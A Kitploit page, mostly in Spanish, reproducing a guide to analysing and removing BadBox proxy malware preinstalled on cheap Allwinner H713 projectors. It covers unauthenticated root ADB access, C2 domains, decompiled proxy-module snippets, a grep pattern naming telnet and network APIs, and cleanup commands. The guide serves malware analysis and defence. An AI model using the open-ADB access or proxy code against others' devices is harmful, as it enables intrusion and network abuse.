Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
badbox-h713-projector — Guía de análisis y limpieza del malware BadBox en proyectores Android Allwinner H713: acceso ADB, prueba de infección, copia de seguridad del firmware, eliminación del dropper y verificación. | Kitploit
Herramientas/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
Seguridad AndroidSeguridad de Sistemas EmbebidosSeguridad IoTIngeniería InversaRecopilación de InformaciónAnálisis de MalwareForensia DigitalSeguridad MóvilSeguridad de Hardware e IoT

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Respuesta a Incidentes
Análisis de Firmware
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Guía de análisis y limpieza del malware BadBox en proyectores Android Allwinner H713: acceso ADB, prueba de infección, copia de seguridad del firmware, eliminación del dropper y verificación.

Ver Repositorio
119hace 1 díaAún no revisado
Compartir

Proyector con malware Wielo / Atongmu: Análisis y limpieza de BadBox (AT-M269 / H713)

26 sep 2026 · @R

Un proyector Android barato (Wielo / Atongmu AT-M269, Allwinner H713) viene con un dropper a nivel de sistema que lo convierte en un nodo de proxy residencial. Este documento muestra cómo acceder sin abrir la carcasa, demostrar la infección, hacer una copia de seguridad del firmware, eliminar el malware y verificar el resultado.

1. Dispositivo

Proyector LCD sin marca vendido bajo marcas cambiantes. La placa y el firmware son compartidos entre muchos proyectores H713 (clones del HY300 y otros), por lo que todo lo aquí expuesto se aplica de forma más amplia.

PropiedadValor
Vendido comoWielo Smart Projector, modelo AT-M269 (FCC ID 2BAAR-AT-M269D)
FabricanteShenzhen Atongmu Technology; firmware y aplicaciones del OEM "ASHD"
Revisión de hardwarepersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53; placa exdroid, plataforma ares
RAM / almacenamiento1 GB DDR @ 576 MHz / 8 GB eMMC (7.818.182.656 bytes)
Wi-Fi / BluetoothAIC8800 (aic8800d80, controlador rwnx 6.4.3.0)
KernelLinux 5.4.99, 32 bits (armv7l), compilado el 8 dic 2025
Compilación realh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, host de compilación ishang-PC
SOAndroid 11 (SDK 30), compilación user, parche de seguridad 2022-02-05
DisfrazSe reporta como Google ADT-3 (marca/modelo/dispositivo, fabricante askey); modelo real en ro.product.model2 = AT-M269
Particiones / arranqueA/B virtual, slot activo _b, particiones dinámicas (retrofit) en super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate vacío; desbloqueo OEM no permitido; /system 100% lleno
Seguridadro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB en tcp/5868, SELinux permisivo, permisos privapp permissive, claves de prueba AOSP
Valores regionales predeterminadosZona horaria Asia/Shanghai, área DTV cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. Entrar

ADB está escuchando en la red, en un puerto no estándar, sin solicitud de autorización y con permisos de root.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

Apagar la lámpara mientras se trabaja a través de ADB```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` no tienen efecto.

## 3. Cadena de infección

Dos aplicaciones del sistema preinstaladas se ejecutan como el usuario del sistema (UID 1000). Una descarga un cargador, el cargador descarga cuatro módulos proxy y un segundo cargador independiente.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> el tráfico de internet de desconocidos enrutado a través de tu conexión, y tu dispositivo es rastreado (serial, MACs, Wi-Fi SSID/BSSID).

4. Prueba de infección a nivel de fábrica

a) Tráfico tipo proxy: un proceso, muchas conexiones externas```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **b) Quién instaló qué**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) Archivos de payload en la carpeta de datos del dropper```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) Configuración a nivel de sistema**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) El malware se ejecutó el día de compilación en fábrica

El malware está integrado directamente en el firmware. La fecha de compilación es eng.work3.20251208.154308, el kernel se compiló el Mon Dec 8 15:27:38 CST 2025. Los registros de yiyou muestran que estaba en ejecución ese mismo día:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) Malware en la imagen del sistema firmada por el proveedor y de solo lectura**

Un usuario o una app posterior no puede colocar archivos en `/system`. Forma parte de `super`, protegido por dm-verity y firmado mediante `vbmeta`.

## 5. Descripción general de la arquitectura del malware

### 5.1. Componentes principales

| Componente                        | Ubicación                    | Qué hace                                                                                                        |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`, UID 1000      | Descarga y ejecuta `plugin.jar`; envía serial, MACs, android_id, Wi-Fi SSID/BSSID, MAC de Bluetooth a Umeng/Baidu |
| `plugin.jar` (DEX)                | yiyou `cache/`               | Dos partes: instalador de apps (listas de apps por dispositivo, más de 40 perfiles para H713/RK3326/HY300) y el cargador de tareas "hs" |
| Cargador de tareas "hs"           | dentro de `plugin.jar`       | Consulta el C2 cada 6 h en busca de tareas de tipo `jar`, `dex` o `apk`; descarga, verifica MD5, ejecuta       |
| SKN0041 `com.ad.proxy`            | módulo `.rf`                 | Túnel TCP/UDP/ICMP, heartbeat, inicio de sesión/reporte                                                         |
| SKN0054 `com.szns.sdk`            | módulo `.rf`                 | Nodo proxy más escaneo UDP desde tu red                                                                         |
| SKN0058 `com.link.core`           | módulo `.rf`                 | Cliente proxy con sus propios resolutores DNS                                                                   |
| SKN0061 `ddth2` / VpsSdk          | módulo `.rf`                 | Puerta de enlace proxy, muchas instancias de cliente en paralelo                                                |
| `com.google.adtest` ("com.speed") | `/data/app`                  | Segundo cargador con cargador de plugins nativo; instala/elimina paquetes; se reinicia ante eventos de arranque, red, HDMI y energía |
| `com.android.sysapp`              | `/system/priv-app`, UID 1000 | Actualizador OTA: puede descargar y flashear una imagen de firmware completa                                    |
| Archivos Widevine                 | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` deja caer un paquete de claves/licencias DRM para que las apps de streaming funcionen en el dispositivo no certificado |

### 5.2. Cómo se mantienen ocultas las piezas```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. Qué envía el rastreo```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. Movimiento lateral

**Sin movimiento lateral automático, pero una puerta hacia la LAN**

> Pero **SKN0041** y **SKN0058** retransmiten a cualquier objetivo los nombres que indique la puerta de enlace, y SKN0041 también puede hacerle ping bajo demanda. Cualquiera que alquile el proxy puede alcanzar o sondear la LAN manualmente.

- `plugin.jar`
- módulos `.rf` descifrados SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- nativo: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
El conjunto completo de comandos de SKN0041, desde la tabla de despacho en `com/ad/proxy/b/a0.java`:

| Opcode | Handler    | Hace                                                                               |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | solicitud / respuesta de heartbeat                                                 |
| 3      | W          | abre una conexión TCP cruda a un host:puerto proporcionado por el operador, sin verificación de dirección |
| 5 / 7  | X / Y      | envío / cierre tcp en una transacción abierta                                      |
| 8      | Z          | abre una sesión UDP cruda a un host:puerto proporcionado por el operador, sin verificación de dirección |
| 11     | K          | cierre udp                                                                         |
| 12     | L → P.java | ejecuta `ping -c 10 <host>` en un host proporcionado por el operador, retransmite la salida completa |
| 14     | M → Q.java | obtiene una URL proporcionada por el operador, sin verificación                    |

Ninguno de estos opcodes filtra por rango de IP.

El servidor de retransmisión de video `plugin.jar` (`com.cloudmedia.tv.server.d`, un fork de NanoHTTPD que sirve reescrituras de streams de Aiqiyi/Youku/CIBN) se enlaza sin host configurado, lo que significa todas las interfaces, accesible desde la LAN, no solo localhost, si arranca. Su único punto de entrada es `ParserUtils.AnalyticsHelper()`, detrás de `getprop ro.board.platform == "rk3188"`. Esta unidad reporta `ares` (H713), por lo que la puerta permanece cerrada.

Estado del dispositivo en vivo: `netstat -tnp` muestra solo screen-cast por loopback (`com.android.toofifi` en `127.0.0.1:5354`), GMS hacia Google sobre IPv6, y la sesión ADB. Ningún proceso `yiyou`, `sysapp`, `speed`, `umanalytics` o `adtest` en ejecución.

La interfaz Binder de `systemmixservice` (lectura/escritura/eliminación arbitraria de archivos y establecimiento de propiedades como root, accesible por cualquier app en el dispositivo) es una escalada de privilegios local. Eliminar el dropper y no instalar APKs no confiables la cierra.

## 6. Indicadores

Los indicadores de red (dominios, URLs, IPs) están en la [sección 11](#11-consolidated-hosturl-list-for-abuse-reports).

### 6.1. Paquetes

| Paquete                                                         | Ubicación                                                | Rol                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | backdoor de canal OTA                                            |
| `com.google.adtest` (nombre real `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | segundo loader                                                   |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | app de prueba de fábrica del OEM, eliminada junto con el dropper en la sección 8 |
| `com.disney.disneyplus`                                         | `/data/app`                                             | app de cobertura instalada por el dropper                        |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | conservada, inofensiva (asistente de control remoto de Netflix)  |

### 6.2.Binarios

| Binario                                                                             | Servicio init                                                                          | Qué hace                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, se ejecuta permanentemente desde el arranque      | Demonio su de Superuser/ClockworkMod (abre sockets `/dev/com.koushikdutta.superuser` + `.daemon`).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: disparado por `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Tras una espera de 4 s en el arranque (`settings ... global start_disable`), encuentra cada paquete instalado con un receptor `BOOT_COMPLETED` cuyo componente comienza con `com.google.android` y lo `pm disable` para matar las propias verificaciones de Google en el arranque, como el escaneo de Play Protect y los servicios centrales de GMS. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: mismo disparador y flags que appsdisable                                 | Mismo comportamiento de deshabilitar receptores de arranque de Google que appsdisable pero excluyendo `com.google.android.permissioncontroller`. Redundante.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | ¿Nativo del OEM? Propósito no determinado completamente pero es grupo root.                                                                                                                                                                                                                   |

### 6.3. Archivos y directorios

| Ruta                                                                                                                                                                          | Qué                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | loader "hs" descargado / DEX instalador de apps         |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | módulos proxy cifrados (SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | copia del payload almacenada para reinstalación silenciosa |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | librería nativa auxiliar de ID de dispositivo           |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | base de datos de sesión de Umeng                        |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | preferencias de rastreo/configuración                   |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | preferencias de estado de descarga OTA                  |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | paquete Widevine L3 DRM depositado                      |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | espacio temporal/sobrante usado por el loader y el cliente OTA |

### 6.4. Hashes de muestras

| Muestra                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (descifrado)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (descifrado)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (descifrado)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (descifrado)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (paquete Widevine)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (config de SKN0054) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. Respaldo

No parece haber firmware publicado para este modelo, y el servidor OTA del fabricante obtenido por ingeniería inversa tampoco devuelve nada.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

Por Wi-Fi, use los scripts auxiliares

  1. dump-pull.sh [ip:port|usb] [file] extrae en fragmentos de 256 MB con una verificación de tamaño y reintentos. Volver a ejecutarlo continúa en el último fragmento completo. Antes de leer, vuelve a montar /data con background_gc=off,nodiscard, sincroniza y espera 10 s. Por USB también ejecuta adb shell stop. Ambos se deshacen al salir (remontar background_gc=on,discard, start). UDISK es /data y permanece activo, por lo que su hash aún puede diferir de una ejecución a otra.
  2. dump-verify.sh [ip:port|usb] [file] [-y] verifica el tamaño, las cabeceras GPT, las áreas de arranque y cada partición (SHA-256 del dispositivo vs. el mismo rango de bytes en la imagen). Lee y parchea cualquier sección que no coincida. En una pasada limpia escribe mmcblk0.img.sha256.```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### Restaurar ruta

Entra en Allwinner FEL, luego flashea con PhoenixUSBPro mediante un cable USB-A a USB-A.

No hay un pin hole externo para arrancar en FEL: `adb reboot efex` o `fastboot oem efex`.

Posible alternativa por hardware: el pad FEL en la placa, visible en las fotos internas de la FCC (requiere abrir la carcasa). El flasheo necesita un `update.img` IMAGEWTY, construido a partir de tu dump con `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) y una plantilla H713.

FEL es solo escritura. PhoenixSuit y PhoenixUSBPro no pueden leer la eMMC de vuelta, y `sunxi-fel` no tiene un layout de SRAM para el H713, solo funcionan los comandos de solo lectura ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).

El dump por ADB de arriba sigue siendo el método de respaldo.

### **Modos de arranque**

La unidad es A/B (`ro.build.ab_update=true`) con el slot `_b` activo. No hay partición `recovery`: el recovery vive en el ramdisk de boot. La consola serie de U-Boot es `ttyS0` a 115200 baudios.

| Modo            | Cómo entrar                                                                                                 | Nivel                 | Estado                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | encendido normal, `adb reboot`                                                                                | kernel                | funciona                                                                                       |
| Recovery        | `adb reboot recovery`                                                                                        | boot ramdisk          | funciona, menú abajo                                                                           |
| fastbootd       | menú de recovery: Enter fastboot                                                                                | userspace en recovery | entra                                                                                      |
| U-Boot fastboot | menú de recovery: Reboot to bootloader, o `adb reboot bootloader`                                              | U-Boot                | funciona (macOS necesita el fix de abajo)                                                           |
| U-Boot efex     | `fastboot oem efex` desde U-Boot fastboot, o `adb reboot efex` (U-Boot también tiene un disparador remoto `ir-efex`) | U-Boot                | funciona vía `fastboot oem efex` y vía `adb reboot efex`: `1f3a:efe8`, el handshake FEL responde |
| BootROM FEL     | pad de prueba FEL                                                                                                 | SoC BootROM           | sin probar                                                                                    |

### **Menú de recovery:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **ADB por USB**

el socket que ocupa USB0 (`ohci0`) funciona como host por defecto. Cambia a modo dispositivo hasta el siguiente reinicio con:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot no detectado

el gadget aparece como 1f3a:1010 ("USB Developer"), y su interfaz es el fastboot estándar ff/42/03. Su clase de dispositivo es ff, sin embargo, el sistema operativo (macOS en este caso) parece no configurar una configuración y fastboot devices permanece vacío.

Si esto ocurre, la solución es establecer la configuración una vez con pyusb, y luego usar fastboot con normalidad:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

Desde el fastboot de U-Boot, `fastboot oem efex` cambia al gadget efex `1f3a:efe8`. (Puede que necesite la misma corrección de `set_configuration()`)

**Compilación de Sunxi-tools desde el código fuente**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Use only version and --list, never spl, uboot, write or exe since sunxi tools doesnt know the chipset.

To leave FEL, unplug USB first, then power off until the blue led on the projector switches off. wdreset does not work without SoC data.

8. Cleaning

8.1. Backup evidence```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. Eliminación```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

Conservado, probablemente inofensivo:

  • qw (demonio su, solo eliminable editando /system, accesible únicamente de forma local)
  • aplicaciones OEM inofensivas: appsdisable, gmsopt, systemmixservice
  • com.android.nfx (asistente de control remoto de Netflix)

Comprobación anti-manipulación

Desinstalar yiyou rompe Ajustes. El checkSHA1() de com.ashd.settings tiene dos comprobaciones:

  1. El propio certificado de firma de Ajustes, que requiere coincidir con uno de cinco SHA1 codificados (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. Comprobar si com.android.umanalytics.yiyou, (o com.android.umanalytics.kege, probablemente el nombre del dropper en otras compilaciones de firmware), está registrado para el usuario 0.

Ambas rutas de fallo registran 签名校验失败,关闭应用 ("fallo en la verificación de firma, cerrando la aplicación"). Desinstalar por completo yiyou (en lugar de solo deshabilitarlo, como se indicó antes) provoca esto. adb shell pm install-existing com.android.umanalytics.yiyou restaura el registro sin volver a habilitarlo.

8.3. Confirmación```

adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**Resultados en esta unidad tras la limpieza y el reinicio:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

Repite la comprobación de netstat después de 24 horas (el loader se comunica cada 6 horas) y busca coincidencias en la lista de bloqueo desde la IP del proyector en tus registros de DNS y firewall.

8.4. Límites

  • Un restablecimiento de fábrica restaura yiyou y sysapp. Vuelve a ejecutar la sección 8 antes de acceder a la red.
  • No se recomienda volver a montar /system en modo lectura-escritura para eliminar los APK: vbmeta está bloqueado, /system está 100% lleno, por lo que adb disable-verity + adb remount crearía una superposición en /data (se pierde al restablecer de fábrica, igual que pm uninstall --user 0) con el riesgo de un fallo de arranque.
  • Por lo tanto, la eliminación permanente implica borrar los APK de super en tu volcado y flashearlo mediante FEL. Sin probar.``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. Bloatware```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
